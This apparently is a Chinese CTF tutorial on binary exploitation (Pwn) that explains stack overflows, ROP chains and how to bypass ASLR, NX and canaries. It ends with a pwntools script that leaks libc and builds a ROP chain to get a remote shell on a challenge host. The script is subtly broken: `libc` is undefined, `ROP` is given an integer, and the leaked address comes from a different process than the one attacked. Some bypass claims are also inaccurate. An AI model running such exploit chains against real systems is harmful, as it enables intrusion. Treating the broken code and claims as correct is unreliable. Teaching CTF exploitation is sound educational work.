2020第五空间智能安全大赛Pwn题解析：从漏洞原理到Exploit编写实战

1次阅读

共计 2334 个字符，预计需要花费 6 分钟才能阅读完成。

在 CTF（Capture The Flag）比赛中，Pwn（取 ”own” 的谐音）类题目主要考察二进制漏洞的挖掘与利用能力。这类题目通常提供一个存在漏洞的可执行程序，选手需要通过逆向分析找到漏洞点，并编写利用代码（Exploit）来获取目标系统的控制权。

评分规则：通常根据漏洞利用的难度和完成度评分，常见指标包括：
成功获取 flag（通常位于服务器上的特定文件）
利用链的复杂度（如是否需要多阶段攻击）
绕过防护机制的数量（如 ASLR、NX、Stack Canary 等）

优势：
提供全局视图，快速定位敏感函数（如gets、strcpy）
支持反编译为伪代码（Pseudocode），降低分析难度
可生成调用图（Call Graph）和数据流图（Data Flow Graph）
劣势：
无法观察运行时内存状态
对混淆代码（Obfuscated Code）处理效果有限

优势：
实时查看寄存器 / 内存值（通过 info registers、x/xw $esp 等命令）
可设置条件断点（如b *0x8048000 if $eax==0xdeadbeef）
pwntools 库提供自动化交互功能（如发送 payload、接收输出）
劣势：
需要反复运行程序，耗时较长
可能触发反调试机制（Antidebugging）

以栈溢出（Stack Overflow）为例，典型特征包括：

+------------------+
| 局部变量         | <-- 溢出方向
+------------------+
| 保存的 EBP        |
+------------------+
| 返回地址         | <-- 覆盖目标
+------------------+
| 函数参数         |
+------------------+

通过以下步骤确认：
1. 使用 checksec 检查程序防护（如 NX/DEP 是否开启）
2. 在 IDA 中查找危险函数（如read、scanf）
3. 动态调试验证输入长度是否可控

Return-Oriented Programming（ROP）通过复用代码片段（Gadgets）绕过 NX 防护。数学原理如下：

设目标函数地址为F，参数为arg1
构造链：pop_rdi_ret_addr + arg1 + F
CPU 执行流程：
pop rdi将 arg1 存入rdi（x64 第一个参数寄存器）
ret跳转到F

寄存器状态机示例：

[Before] RIP=pop_rdi_ret, RSP=arg1_addr
[After pop] RDI=arg1, RSP=F_addr
[After ret] RIP=F, RSP+=8

防护机制	绕过方法	适用场景
ASLR	信息泄漏（如 puts@got）	存在输出函数
Stack Canary	覆盖失败后触发异常处理（FSOP）	有异常处理结构
RELRO	劫持动态链接器（如_dl_runtime_resolve）	部分 RELRO

from pwn import *

context(arch='amd64', os='linux')

# 1. 泄漏 libc 地址
def leak_libc():
    p = process('./vuln')
    payload = b'A'*24 + p64(0x400683)  # pop_rdi; ret
    payload += p64(0x601018)           # puts@got
    payload += p64(0x400470)           # puts@plt
    p.sendline(payload)
    leak = u64(p.recv(6).ljust(8, b'\x00'))
    libc_base = leak - 0x06f690        # 偏移需根据实际 libc 版本调整
    return libc_base

# 2. 构造 ROP 链
def build_rop(libc_base):
    rop = ROP([libc_base])
    rop.system(next(libc.search(b'/bin/sh')))
    return rop.chain()

# 3. 触发漏洞
try:
    libc_base = leak_libc()
    rop_chain = build_rop(libc_base)
    payload = b'A'*24 + rop_chain
    p = remote('ctf.example.com', 9999)
    p.sendline(payload)
    p.interactive()
except Exception as e:
    log.error(f"Exploit failed: {str(e)}")